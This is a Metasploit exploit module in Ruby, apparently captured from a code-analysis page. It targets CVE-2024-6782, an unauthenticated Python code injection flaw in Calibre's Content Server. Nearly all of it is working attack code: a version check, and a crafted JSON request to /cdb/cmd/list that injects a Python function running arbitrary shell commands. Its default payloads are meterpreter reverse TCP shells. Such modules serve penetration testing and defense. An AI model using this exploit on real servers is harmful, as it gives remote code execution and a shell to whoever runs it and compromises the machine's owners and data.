rapid7/metasploit-framework

View on GitHub
modules/exploits/multi/misc/calibre_exec.rb

Summary

Maintainability
A
4 hrs
Test Coverage
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
        'Description' => %q{
          This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Amos Ng', # Discovery & PoC
          'Michael Heinzl', # MSF exploit
        ],
        'References' => [
          [ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
          [ 'CVE', '2024-6782']
        ],
        'DisclosureDate' => '2024-07-31',
        'Platform' => ['win', 'linux', 'unix'],
        'Arch' => [ ARCH_CMD ],

        'Payload' => {
          'BadChars' => '\\'
        },

        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'CURL',
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
              },
              'Type' => :win_fetch
            }
          ],
          [
            'Linux Command',
            {
              'Platform' => [ 'unix', 'linux' ],
              'Arch' => ARCH_CMD,
              'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],

        ],
        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080)
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path)
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    end

    if res && res.code == 200
      data = res.body.to_s
      pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/

      version = data.match(pattern)

      if version[1].nil?
        return CheckCode::Unknown
      else
        vprint_status('Version retrieved: ' + version[1].to_s)
      end

      if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))
        return CheckCode::Appears
      else
        return CheckCode::Safe
      end
    else
      return CheckCode::Unknown
    end
  end

  def exploit
    execute_command(payload.encoded)
  end

  def execute_command(cmd)
    print_status('Sending payload...')
    exec_calibre(cmd)
    print_status('Exploit finished, check thy shell.')
  end

  def exec_calibre(cmd)
    payload = '['\
    '["template"], '\
    '"", '\
    '"", '\
    '"", '\
    '1,'\
    '"python:def evaluate(a, b):\\n '\
     'import subprocess\\n '\
      'try:\\n  '\
        "return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\
      'except Exception:\\n  '\
        "return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\
    ']'

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => payload,
      'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
    })

    if res && res.code == 200
      print_good('Command successfully executed, check your shell.')
    elsif res && res.code == 400
      fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')
    end
  end

end